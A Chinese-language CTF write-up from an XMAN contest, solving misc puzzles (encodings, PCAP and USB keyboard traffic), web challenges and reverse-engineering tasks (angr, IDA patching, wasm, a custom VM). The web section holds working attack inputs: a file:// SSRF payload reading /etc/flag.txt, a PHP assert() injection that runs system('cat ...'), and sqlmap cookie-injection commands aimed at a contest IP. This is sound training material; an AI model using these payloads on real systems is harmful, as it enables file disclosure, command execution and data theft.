唉 pwn 还是没有入门。

MISC

FILE

DiskGenius 恢复磁盘:

XMAN 通行证

不同的网站解密结果竟然不一样。最后发现这个网站还行。

a2FuYmJyZ2doamx7emJfX19ffXZ0bGFsbg==

第一眼就知道先是 base64:

kanbbrgghjl{zb____}vtlaln

栅栏 7 栏加密:

kzna{blnl_abj_lbh_trg_vg}

凯撒位移 13 位得到 flag:

xman{oyay_now_you_get_it}

PPAP

用 wireshark 打开,搜索关键字 flag,很容易找到一串 base64:

经过分析以后,具体结构应该是这样的:

yaaaaaaaar, land ho!
    Hey wesley, you got that flag?
Ayy, I got yer files right here, matey!

            [base64'd jpg]
            [base64'd flag.zip]

And here be the map to the booty!

            [base64'd Haar cascade]

    I don't understand, this isn't even a ma-
Yarrrr, the booty be buried by that which the map points to! (no spaces and no caps)
Ayy, now I be off. But remember, the factor of scales be 1.02, and the neighborly sorts be limited to 50!
Lastly, if ye sail the seven seas, you do be a pirate!

jpg 文件和 zip 文件之间通过等号判断分隔。通过 python 得到三个文件:

# example
import base64
f1 = open('b1', 'r')
enc1 = f1.read()
f2 = open('b1.jpg', 'w')
out = base64.b64decode(enc1)
f2.write(out)
f1.close()
f2.close()

然后又通过 binwalk 发现,这里输出的 jpg 图片其实不止一张。用 foremost 输出所有的图片。

下面用了官方的脚本,用 opencv 找出数百张图片的其中一张来得到密码:

import os
import sys
import cv2

# Get all of the pictures
imgs = os.listdir('jpg')

# Cascade we'll be using for detection
cascade = cv2.CascadeClassifier('b3.xml')

# From the clues
scaling_factor = 1.02
min_neighbors = 10  # Bumped this up until one pic was left

for img_name in imgs:
    # Load the image and run the cascade
    img = cv2.imread(os.path.join('jpg', img_name))
    detect = cascade.detectMultiScale(img, scaling_factor, min_neighbors)
    if len(detect) > 0:
        for (x, y, w, h) in detect:
            # X marks the spot!
            cv2.line(img, (x, y),     (x + w, y + h), (255, 0, 0), 2)
            cv2.line(img, (x, y + h), (x + w, y),     (255, 0, 0), 2)
        # Save the new image
        cv2.imwrite(os.path.join('detected', img_name), img)

最后得到一张海盗的图片,容易知道密码应该是 skullandcrossbones,得到 flag。

AUTOKEY

一个 pcap 包,都是 usb 流量,通过 tshark 提取出来:

 ⚡ root@kali  ~/Desktop  tshark -r task_AutoKey.pcapng -T fields -e usb.capdata > usbdata.txt
Running as user "root" and group "root". This could be dangerous.

查看后发现都是八个字节的数据,那么应该是键盘流量,用脚本跑出来:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
    if line[0]!='0' or line[1]!='0' or line[2]!='0' or line[3]!='0' or line[6]!='0' or line[7]!='0' or line[8]!='0' or line[9]!='0' or line[10]!='0' or line[11]!='0' or line[12]!='0' or line[13]!='0' or line[14]!='0' or line[15]!='0':
        continue
    nums.append(int(line[4:6],16))
print nums
keys.close()
output = ""
for n in nums:
    if n == 0 :
        continue
    if n in mappings:
        output += mappings[n]
    else:
        output += '[unknown]'
print 'output :\n' + output

出来的结果:

output :
[unknown]A[unknown]UTOKEY''.DECIPHER'[unknown]MPLRVFFCZEYOUJFJKYBXGZVDGQAURKXZOLKOLVTUFBLRNJESQITWAHXNSIJXPNMPLSHCJBTYHZEALOGVIAAISSPLFHLFSWFEHJNCRWHTINSMAMBVEXO[DEL]PZE[DEL]IZ'

去掉 [uuknown][DEL] 则是去掉后一个字符,得到:

output :
AUTOKEY''.DECIPHER'MPLRVFFCZEYOUJFJKYBXGZVDGQAURKXZOLKOLVTUFBLRNJESQITWAHXNSIJXPNMPLSHCJBTYHZEALOGVIAAISSPLFHLFSWFEHJNCRWHTINSMAMBVEXOZEZ'

百度一下 autokey,用 github 上找到的的爆破脚本得到 flag。

-676.914569565 autokey, klen 8 :"FLAGHERE", HELLOBOYSANDGIRLSYOUARESOSMARTTHATYOUCANFINDTHEFLAGTHATIHIDEINTHEKEYBOARDPACKAGEFLAGISJHAWLZKEWXHNCDHSLWBAQJTUQZDXYQLF

HELLO BOYS AND GIRLS YOU ARE SO SMART THAT YOU CAN FIND THE FLAG THAT I HIDE IN THE KEYBOARD PACKAGE FLAG IS JHAWLZKEWXHNCDHSLWBAQJTUQZDXYQLF

WEB

SIMPLE SSRF

hint 里提示 curl 还有 flag在/etc/flag.txt,大概是通过 file 协议读取本地文件。payload:

file://www.baidu.com/etc/flag.txt#

MAKEIT

网页上提示了 git,猜测存在 .git 文件泄露,把源码下载下来之后审计:

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

这里有 assert(),可以执行函数中的命令,通过构造闭合前面的 strpos() 绕过,来得到 templates/flag.php 中的内容:

1', '..') or system('cat templates/flag.php'); //

BBSQLI

cookie 注入,PHPSESSID 拿下来:

用 sqlmap 跑:

// 跑表名
python sqlmap.py -u http://202.112.51.184:16080/ --cookie "PHPSESSID=0f3f8f5bcd396b7d83ea2799a77aea49" --table --level 2
// 跑列名
python sqlmap.py -u http://202.112.51.184:16080/ --cookie "PHPSESSID=0f3f8f5bcd396b7d83ea2799a77aea49" --columns -T '[GDJM_flag]' --level 2
// 跑flag
python sqlmap.py -u http://202.112.51.184:16080/ --cookie "PHPSESSID=0f3f8f5bcd396b7d83ea2799a77aea49" --dump -T '[GDJM_flag]' -C 'flag' --level 2

PS:不同的 level 等级,SQLMAP 所采用的策略也不近相同,当–level 的参数设定为 2 或者 2 以上的时候,sqlmap 会尝试注入 Cookie 参数;当–level 参数设定为 3 或者 3 以上的时候,会尝试对 User-Angent,referer 进行注入。

RE

DRAGON QUEST

和 csaw 的那道 wyvern 很像,可以用 angr 跑出来:

#!/usr/bin/env python
import angr
import claripy

p = angr.Project('task_xman1')
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(28)] # flag's length is 28, every char is 8 bit
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')]) # end with '\n'

st = p.factory.full_init_state(
        args=['./xman_task1'], # arguments
        add_options=angr.options.unicorn,
        stdin=flag, # flag as input
)

for k in flag_chars:
    st.solver.add(k != 0) # char is not 0
    st.solver.add(k != 10) # char is not '\n'

sm = p.factory.simulation_manager(st)
sm.run()

out = b''
for pp in sm.deadended:
    out = pp.posix.dumps(1)
    if b'flag{' in out:
        out = next(filter(lambda s: b'flag{' in s, out.split()))
        break
print('flag:', out)

pizza 大佬提供了另一种思路。先用 ida-python 去混淆:

import ida_xref
import ida_idaapi
from ida_bytes import get_bytes, patch_bytes

def do_patch(ea):
    if(get_bytes(ea, 1) == "\x8B"): # mov eax-edi, dword
        reg = (ord(get_bytes(ea + 1, 1)) & 0b00111000) >> 3
        patch_bytes(ea, chr(0xB8 + reg) + "\x00\x00\x00\x00\x90\x90")
    elif(get_bytes(ea, 2) == "\x44\x8B"): # mov r8d-r15d, dword
        reg = (ord(get_bytes(ea + 2, 1)) & 0b00111000) >> 3
        patch_bytes(ea + 1, chr(0xB8 + reg) + "\x00\x00\x00\x00\x90\x90")

for addr in xrange(0x610318, 0x6105AC, 4):
    ref = ida_xref.get_first_dref_to(addr)
    print(hex(addr).center(20,"-"))
    while(ref != ida_idaapi.BADADDR):
        do_patch(ref)
        print("patch at " + hex(ref))
        ref = ida_xref.get_next_dref_to(addr, ref)
    print("-"*20)

最后脚本:

secret = [100, 214, 266, 369, 417, 527, 622, 733, 847, 942, 1054, 1106, 1222, 1336, 1441, 1540, 1589, 1686, 1796, 1891, 1996, 2112, 2165, 2260, 2336, 2412, 2498, 2575]
n = 0
flag = ""
for i in xrange(0, len(secret)):
    ch = secret[i] - n
    n += ch
    flag += chr(ch)
print(flag)

EASYWASM

github 上找到一个将 wasm 转成 c 的工具。命令:wasm2c easywasm.wasm -o easywasm.c

大概内容:

...

static void init_globals(void) {
  g2 = 0u;
  g3 = 0u;
  _flag_enc = 0u;
  _k = 1104u;
  _r = 1360u;
}

...

static void _md5(u32 p0, u32 p1, u32 p2) {
  ...
}

static u32 _check(u32 p0) {
  ...
}

...

static void init_memory(void) {
  memcpy(&((*Z_envZ_memory).data[(*Z_envZ_memoryBaseZ_i)]), data_segment_data_0, 1648);
}

static void init_table(void) {
  ...
}

static void init_exports(void) {
  ...
}

void WASM_RT_ADD_PREFIX(init)(void) {
  init_func_types();
  init_globals();
  init_memory();
  init_table();
  init_exports();
}

转换成 c 代码后,审计起来还是很累。硬逆出来:

#!/usr/bin/env python
import hashlib
data = [0x35, 0x36, 0x32, 0x66, 0x65, 0x33, 0x63, 0x63, 0x35, 0x30, 0x30, 0x31,
  0x34, 0x63, 0x32, 0x36, 0x30, 0x64, 0x39, 0x65, 0x38, 0x63, 0x66, 0x34,
  0x65, 0x64, 0x33, 0x38, 0x63, 0x37, 0x37, 0x61, 0x00, 0x63, 0x30, 0x32,
  0x32, 0x61, 0x64, 0x30, 0x63, 0x63, 0x30, 0x30, 0x37, 0x35, 0x61, 0x39,
  0x61, 0x62, 0x31, 0x34, 0x62, 0x34, 0x31, 0x32, 0x61, 0x31, 0x30, 0x38,
  0x32, 0x64, 0x35, 0x66, 0x33, 0x00, 0x36, 0x34, 0x63, 0x32, 0x38, 0x36,
  0x63, 0x66, 0x63, 0x36, 0x32, 0x33, 0x61, 0x61, 0x38, 0x64, 0x37, 0x64,
  0x66, 0x37, 0x63, 0x30, 0x38, 0x38, 0x65, 0x62, 0x66, 0x37, 0x64, 0x37,
  0x31, 0x38, 0x00, 0x38, 0x33, 0x36, 0x36, 0x34, 0x62, 0x64, 0x65, 0x65,
  0x34, 0x62, 0x36, 0x31, 0x33, 0x62, 0x37, 0x65, 0x37, 0x61, 0x35, 0x31,
  0x62, 0x35, 0x32, 0x31, 0x33, 0x34, 0x37, 0x30, 0x61, 0x38, 0x64, 0x00,
  0x62, 0x30, 0x32, 0x30, 0x62, 0x66, 0x35, 0x39, 0x38, 0x61, 0x61, 0x61,
  0x32, 0x62, 0x33, 0x65, 0x30, 0x33, 0x65, 0x64, 0x30, 0x32, 0x63, 0x38,
  0x35, 0x34, 0x33, 0x36, 0x32, 0x36, 0x38, 0x61, 0x00, 0x34, 0x66, 0x64,
  0x61, 0x63, 0x35, 0x61, 0x63, 0x38, 0x30, 0x37, 0x35, 0x30, 0x36, 0x39,
  0x33, 0x38, 0x31, 0x30, 0x33, 0x65, 0x37, 0x37, 0x35, 0x63, 0x35, 0x30,
  0x30, 0x39, 0x39, 0x65, 0x64, 0x00, 0x34, 0x66, 0x64, 0x61, 0x63, 0x35,
  0x61, 0x63, 0x38, 0x30, 0x37, 0x35, 0x30, 0x36, 0x39, 0x33, 0x38, 0x31,
  0x30, 0x33, 0x65, 0x37, 0x37, 0x35, 0x63, 0x35, 0x30, 0x30, 0x39, 0x39,
  0x65, 0x64, 0x00, 0x63, 0x32, 0x33, 0x31, 0x64, 0x36, 0x30, 0x37, 0x62,
  0x36, 0x38, 0x32, 0x33, 0x66, 0x64, 0x30, 0x61, 0x36, 0x38, 0x65, 0x38,
  0x31, 0x33, 0x37, 0x36, 0x30, 0x38, 0x30, 0x39, 0x37, 0x35, 0x34, 0x00,
  0x64, 0x31, 0x36, 0x38, 0x63, 0x32, 0x31, 0x64, 0x31, 0x30, 0x33, 0x37,
  0x31, 0x61, 0x35, 0x61, 0x62, 0x36, 0x31, 0x62, 0x63, 0x66, 0x65, 0x36,
  0x63, 0x37, 0x35, 0x39, 0x65, 0x66, 0x36, 0x65, 0x00, 0x66, 0x36, 0x30,
  0x64, 0x37, 0x30, 0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38,
  0x34, 0x39, 0x30, 0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64,
  0x32, 0x66, 0x33, 0x62, 0x61, 0x00, 0x61, 0x30, 0x31, 0x38, 0x34, 0x66,
  0x38, 0x32, 0x34, 0x30, 0x65, 0x32, 0x66, 0x65, 0x34, 0x36, 0x38, 0x36,
  0x31, 0x64, 0x63, 0x38, 0x64, 0x31, 0x35, 0x61, 0x38, 0x31, 0x39, 0x63,
  0x62, 0x30, 0x00, 0x39, 0x64, 0x62, 0x65, 0x63, 0x34, 0x31, 0x34, 0x33,
  0x33, 0x36, 0x65, 0x37, 0x34, 0x31, 0x65, 0x39, 0x63, 0x37, 0x33, 0x34,
  0x32, 0x32, 0x64, 0x66, 0x35, 0x39, 0x64, 0x65, 0x32, 0x39, 0x37, 0x00,
  0x36, 0x66, 0x62, 0x35, 0x32, 0x30, 0x39, 0x64, 0x38, 0x66, 0x63, 0x38,
  0x62, 0x62, 0x38, 0x35, 0x30, 0x37, 0x32, 0x34, 0x35, 0x62, 0x63, 0x66,
  0x61, 0x32, 0x34, 0x61, 0x65, 0x31, 0x31, 0x66, 0x00, 0x36, 0x66, 0x62,
  0x35, 0x32, 0x30, 0x39, 0x64, 0x38, 0x66, 0x63, 0x38, 0x62, 0x62, 0x38,
  0x35, 0x30, 0x37, 0x32, 0x34, 0x35, 0x62, 0x63, 0x66, 0x61, 0x32, 0x34,
  0x61, 0x65, 0x31, 0x31, 0x66, 0x00, 0x30, 0x30, 0x63, 0x37, 0x37, 0x66,
  0x62, 0x63, 0x36, 0x30, 0x61, 0x35, 0x62, 0x66, 0x63, 0x34, 0x36, 0x36,
  0x64, 0x33, 0x64, 0x30, 0x36, 0x39, 0x38, 0x37, 0x36, 0x65, 0x63, 0x33,
  0x34, 0x38, 0x00, 0x30, 0x30, 0x63, 0x37, 0x37, 0x66, 0x62, 0x63, 0x36,
  0x30, 0x61, 0x35, 0x62, 0x66, 0x63, 0x34, 0x36, 0x36, 0x64, 0x33, 0x64,
  0x30, 0x36, 0x39, 0x38, 0x37, 0x36, 0x65, 0x63, 0x33, 0x34, 0x38, 0x00,
  0x64, 0x66, 0x33, 0x33, 0x34, 0x36, 0x34, 0x66, 0x62, 0x34, 0x37, 0x31,
  0x63, 0x34, 0x36, 0x61, 0x62, 0x61, 0x66, 0x36, 0x39, 0x31, 0x63, 0x30,
  0x30, 0x30, 0x61, 0x30, 0x65, 0x33, 0x30, 0x64, 0x00, 0x34, 0x66, 0x64,
  0x61, 0x63, 0x35, 0x61, 0x63, 0x38, 0x30, 0x37, 0x35, 0x30, 0x36, 0x39,
  0x33, 0x38, 0x31, 0x30, 0x33, 0x65, 0x37, 0x37, 0x35, 0x63, 0x35, 0x30,
  0x30, 0x39, 0x39, 0x65, 0x64, 0x00, 0x66, 0x36, 0x30, 0x64, 0x37, 0x30,
  0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38, 0x34, 0x39, 0x30,
  0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64, 0x32, 0x66, 0x33,
  0x62, 0x61, 0x00, 0x66, 0x63, 0x63, 0x39, 0x34, 0x61, 0x32, 0x30, 0x35,
  0x39, 0x36, 0x66, 0x32, 0x36, 0x31, 0x39, 0x38, 0x36, 0x38, 0x66, 0x33,
  0x61, 0x34, 0x62, 0x66, 0x35, 0x32, 0x65, 0x61, 0x64, 0x66, 0x37, 0x00,
  0x30, 0x30, 0x63, 0x37, 0x37, 0x66, 0x62, 0x63, 0x36, 0x30, 0x61, 0x35,
  0x62, 0x66, 0x63, 0x34, 0x36, 0x36, 0x64, 0x33, 0x64, 0x30, 0x36, 0x39,
  0x38, 0x37, 0x36, 0x65, 0x63, 0x33, 0x34, 0x38, 0x00, 0x64, 0x31, 0x36,
  0x38, 0x63, 0x32, 0x31, 0x64, 0x31, 0x30, 0x33, 0x37, 0x31, 0x61, 0x35,
  0x61, 0x62, 0x36, 0x31, 0x62, 0x63, 0x66, 0x65, 0x36, 0x63, 0x37, 0x35,
  0x39, 0x65, 0x66, 0x36, 0x65, 0x00, 0x39, 0x64, 0x62, 0x65, 0x63, 0x34,
  0x31, 0x34, 0x33, 0x33, 0x36, 0x65, 0x37, 0x34, 0x31, 0x65, 0x39, 0x63,
  0x37, 0x33, 0x34, 0x32, 0x32, 0x64, 0x66, 0x35, 0x39, 0x64, 0x65, 0x32,
  0x39, 0x37, 0x00, 0x66, 0x63, 0x63, 0x39, 0x34, 0x61, 0x32, 0x30, 0x35,
  0x39, 0x36, 0x66, 0x32, 0x36, 0x31, 0x39, 0x38, 0x36, 0x38, 0x66, 0x33,
  0x61, 0x34, 0x62, 0x66, 0x35, 0x32, 0x65, 0x61, 0x64, 0x66, 0x37, 0x00,
  0x39, 0x62, 0x33, 0x37, 0x64, 0x62, 0x30, 0x39, 0x31, 0x39, 0x37, 0x39,
  0x62, 0x65, 0x64, 0x66, 0x30, 0x30, 0x61, 0x37, 0x30, 0x39, 0x35, 0x38,
  0x35, 0x31, 0x62, 0x61, 0x36, 0x66, 0x35, 0x39, 0x00, 0x30, 0x30, 0x63,
  0x37, 0x37, 0x66, 0x62, 0x63, 0x36, 0x30, 0x61, 0x35, 0x62, 0x66, 0x63,
  0x34, 0x36, 0x36, 0x64, 0x33, 0x64, 0x30, 0x36, 0x39, 0x38, 0x37, 0x36,
  0x65, 0x63, 0x33, 0x34, 0x38, 0x00, 0x66, 0x36, 0x30, 0x64, 0x37, 0x30,
  0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38, 0x34, 0x39, 0x30,
  0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64, 0x32, 0x66, 0x33,
  0x62, 0x61, 0x00, 0x66, 0x63, 0x63, 0x39, 0x34, 0x61, 0x32, 0x30, 0x35,
  0x39, 0x36, 0x66, 0x32, 0x36, 0x31, 0x39, 0x38, 0x36, 0x38, 0x66, 0x33,
  0x61, 0x34, 0x62, 0x66, 0x35, 0x32, 0x65, 0x61, 0x64, 0x66, 0x37, 0x00,
  0x64, 0x31, 0x36, 0x38, 0x63, 0x32, 0x31, 0x64, 0x31, 0x30, 0x33, 0x37,
  0x31, 0x61, 0x35, 0x61, 0x62, 0x36, 0x31, 0x62, 0x63, 0x66, 0x65, 0x36,
  0x63, 0x37, 0x35, 0x39, 0x65, 0x66, 0x36, 0x65, 0x00, 0x66, 0x36, 0x30,
  0x64, 0x37, 0x30, 0x39, 0x63, 0x63, 0x66, 0x39, 0x38, 0x39, 0x64, 0x38,
  0x34, 0x39, 0x30, 0x32, 0x38, 0x66, 0x39, 0x37, 0x61, 0x30, 0x33, 0x64,
  0x32, 0x66, 0x33, 0x62, 0x61, 0x00, 0x31, 0x38, 0x33, 0x33, 0x34, 0x32,
  0x39, 0x39, 0x37, 0x66, 0x66, 0x65, 0x64, 0x34, 0x62, 0x33, 0x31, 0x38,
  0x39, 0x65, 0x39, 0x37, 0x37, 0x64, 0x30, 0x37, 0x37, 0x61, 0x36, 0x30,
  0x62, 0x34, 0x00, 0x66, 0x34, 0x30, 0x34, 0x61, 0x33, 0x33, 0x36, 0x38,
  0x64, 0x32, 0x64, 0x38, 0x66, 0x35, 0x37, 0x34, 0x36, 0x34, 0x66, 0x37,
  0x33, 0x39, 0x64, 0x34, 0x65, 0x64, 0x30, 0x31, 0x63, 0x30, 0x65, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x78, 0xa4, 0x6a, 0xd7, 0x56, 0xb7, 0xc7, 0xe8, 0xdb, 0x70, 0x20, 0x24,
  0xee, 0xce, 0xbd, 0xc1, 0xaf, 0x0f, 0x7c, 0xf5, 0x2a, 0xc6, 0x87, 0x47,
  0x13, 0x46, 0x30, 0xa8, 0x01, 0x95, 0x46, 0xfd, 0xd8, 0x98, 0x80, 0x69,
  0xaf, 0xf7, 0x44, 0x8b, 0xb1, 0x5b, 0xff, 0xff, 0xbe, 0xd7, 0x5c, 0x89,
  0x22, 0x11, 0x90, 0x6b, 0x93, 0x71, 0x98, 0xfd, 0x8e, 0x43, 0x79, 0xa6,
  0x21, 0x08, 0xb4, 0x49, 0x62, 0x25, 0x1e, 0xf6, 0x40, 0xb3, 0x40, 0xc0,
  0x51, 0x5a, 0x5e, 0x26, 0xaa, 0xc7, 0xb6, 0xe9, 0x5d, 0x10, 0x2f, 0xd6,
  0x53, 0x14, 0x44, 0x02, 0x81, 0xe6, 0xa1, 0xd8, 0xc8, 0xfb, 0xd3, 0xe7,
  0xe6, 0xcd, 0xe1, 0x21, 0xd6, 0x07, 0x37, 0xc3, 0x87, 0x0d, 0xd5, 0xf4,
  0xed, 0x14, 0x5a, 0x45, 0x05, 0xe9, 0xe3, 0xa9, 0xf8, 0xa3, 0xef, 0xfc,
  0xd9, 0x02, 0x6f, 0x67, 0x8a, 0x4c, 0x2a, 0x8d, 0x42, 0x39, 0xfa, 0xff,
  0x81, 0xf6, 0x71, 0x87, 0x22, 0x61, 0x9d, 0x6d, 0x0c, 0x38, 0xe5, 0xfd,
  0x44, 0xea, 0xbe, 0xa4, 0xa9, 0xcf, 0xde, 0x4b, 0x60, 0x4b, 0xbb, 0xf6,
  0x70, 0xbc, 0xbf, 0xbe, 0xc6, 0x7e, 0x9b, 0x28, 0xfa, 0x27, 0xa1, 0xea,
  0x85, 0x30, 0xef, 0xd4, 0x05, 0x1d, 0x88, 0x04, 0x39, 0xd0, 0xd4, 0xd9,
  0xe5, 0x99, 0xdb, 0xe6, 0xf8, 0x7c, 0xa2, 0x1f, 0x65, 0x56, 0xac, 0xc4,
  0x44, 0x22, 0x29, 0xf4, 0x97, 0xff, 0x2a, 0x43, 0xa7, 0x23, 0x94, 0xab,
  0x39, 0xa0, 0x93, 0xfc, 0xc3, 0x59, 0x5b, 0x65, 0x92, 0xcc, 0x0c, 0x8f,
  0x7d, 0xf4, 0xef, 0xff, 0xd1, 0x5d, 0x84, 0x85, 0x4f, 0x7e, 0xa8, 0x6f,
  0xe0, 0xe6, 0x2c, 0xfe, 0x14, 0x43, 0x01, 0xa3, 0xa1, 0x11, 0x08, 0x4e,
  0x82, 0x7e, 0x53, 0xf7, 0x35, 0xf2, 0x3a, 0xbd, 0xbb, 0xd2, 0xd7, 0x2a,
  0x91, 0xd3, 0x86, 0xeb, 0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
  0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x0c, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00,
  0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00,
  0x16, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00,
  0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
  0x09, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
  0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00,
  0x14, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
  0x0e, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
  0x09, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
  0x04, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
  0x17, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00,
  0x10, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
  0x0b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00,
  0x04, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
  0x17, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
  0x0f, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
  0x0a, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00,
  0x06, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00,
  0x15, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00,
  0x0f, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x32, 0x33, 0x33, 0x33,
  0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
  0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
  0x33, 0x33, 0x33, 0x33]
s = ''
for c in data:
    s += chr(c)
# print s
enc = '562fe3cc50014c260d9e8cf4ed38c77ac022ad0cc0075a9ab14b412a1082d5f364c286cfc623aa8d7df7c088ebf7d71883664bdee4b613b7e7a51b5213470a8db020bf598aaa2b3e03ed02c85436268a4fdac5ac807506938103e775c50099ed4fdac5ac807506938103e775c50099edc231d607b6823fd0a68e813760809754d168c21d10371a5ab61bcfe6c759ef6ef60d709ccf989d849028f97a03d2f3baa0184f8240e2fe46861dc8d15a819cb09dbec414336e741e9c73422df59de2976fb5209d8fc8bb8507245bcfa24ae11f6fb5209d8fc8bb8507245bcfa24ae11f00c77fbc60a5bfc466d3d069876ec34800c77fbc60a5bfc466d3d069876ec348df33464fb471c46abaf691c000a0e30d4fdac5ac807506938103e775c50099edf60d709ccf989d849028f97a03d2f3bafcc94a20596f2619868f3a4bf52eadf700c77fbc60a5bfc466d3d069876ec348d168c21d10371a5ab61bcfe6c759ef6e9dbec414336e741e9c73422df59de297fcc94a20596f2619868f3a4bf52eadf79b37db091979bedf00a7095851ba6f5900c77fbc60a5bfc466d3d069876ec348f60d709ccf989d849028f97a03d2f3bafcc94a20596f2619868f3a4bf52eadf7d168c21d10371a5ab61bcfe6c759ef6ef60d709ccf989d849028f97a03d2f3ba183342997ffed4b3189e977d077a60b4f404a3368d2d8f57464f739d4ed01c0e'
e = []
for i in range(len(enc) / 32):
    e.append(enc[32*i:32*i+32])
print e
key = '23333333333333333333333333333333'[:-1]
print key
flag = ''
for i in range(32):
    for ch in range(256):
        x = hashlib.md5(key + chr(ch)).digest()
        x = x.encode('hex').lower()
        x = hashlib.md5(x).digest()
        x = x.encode('hex').lower()
        if x == e[i]:
            flag += chr(ch)
            break
print flag

EASYVM

第一次做的时候手撸:

0x05, 0x01, 0x0B,   // mov r1, rB
0x13, 0x03, 0x03,   // xor r3, r3
0x13, 0x00, 0x00,   // xor r0, r0
0x13, 0x04, 0x04,   // xor r4, r4

r1 = rB;
r3 = r0 = r4 = 0;

0x28,               // enter the loop
loop:
0x0C, 0x00, 0x33,   // add r0, 0x33
0x14, 0x00, 0x20,   // mov r0, r0 mod 0x20
0x05, 0x09, 0x01,   // mov r9, r1
0x11, 0x09, 0x00,   // add_pch r9, r0
0x0B, 0x0A, 0x09,   // ldr_ch rA, r9
0x01, 0x04, 0x0A,   // mov r4, rA
0x1B, 0x05, 0x04,   // push r5, r4
0x0C, 0x03, 0x01,   // add r3, 0x01
0x24, 0x03, 0x20,   // cmpl r3, 0x20
0x28,               // jl loop

while(1)    // loop 0x20 times
{
    r0 += 0x33;
    r0 = r0 % 0x20;
    r9 = r1;
    r9 += r0;
    rA = r9;
    r4 = rA;
    r5 = r4 + 1;
    r3 += 0x01;
    if(r3 >= 0x20)
        break;
}

0x13, 0x00, 0x00,   // xor r0, r0
0x07, 0x08, 0x05,   // lea_int r8, r5
0x0E, 0x08, 0xE0,   // add r8, 0xE0
0x07, 0x02, 0x08,   // lea_int r2, r8
0x09, 0x0A, 0x02,   // ldr_int rA, r2
0x01, 0x00, 0x0A,   // mov r0, rA
0x18, 0x00, 0xE0,   // and r0, 0xE0
0x1E, 0x00, 0x05,   // shr r0, 0x05
0x01, 0x04, 0x00,   // mov r4, r0
0x13, 0x03, 0x03,   // xor r3, r3

r0 = 0;
r8 = r5;
r8 += 0xE0;
r2 = r8;
rA = r2;
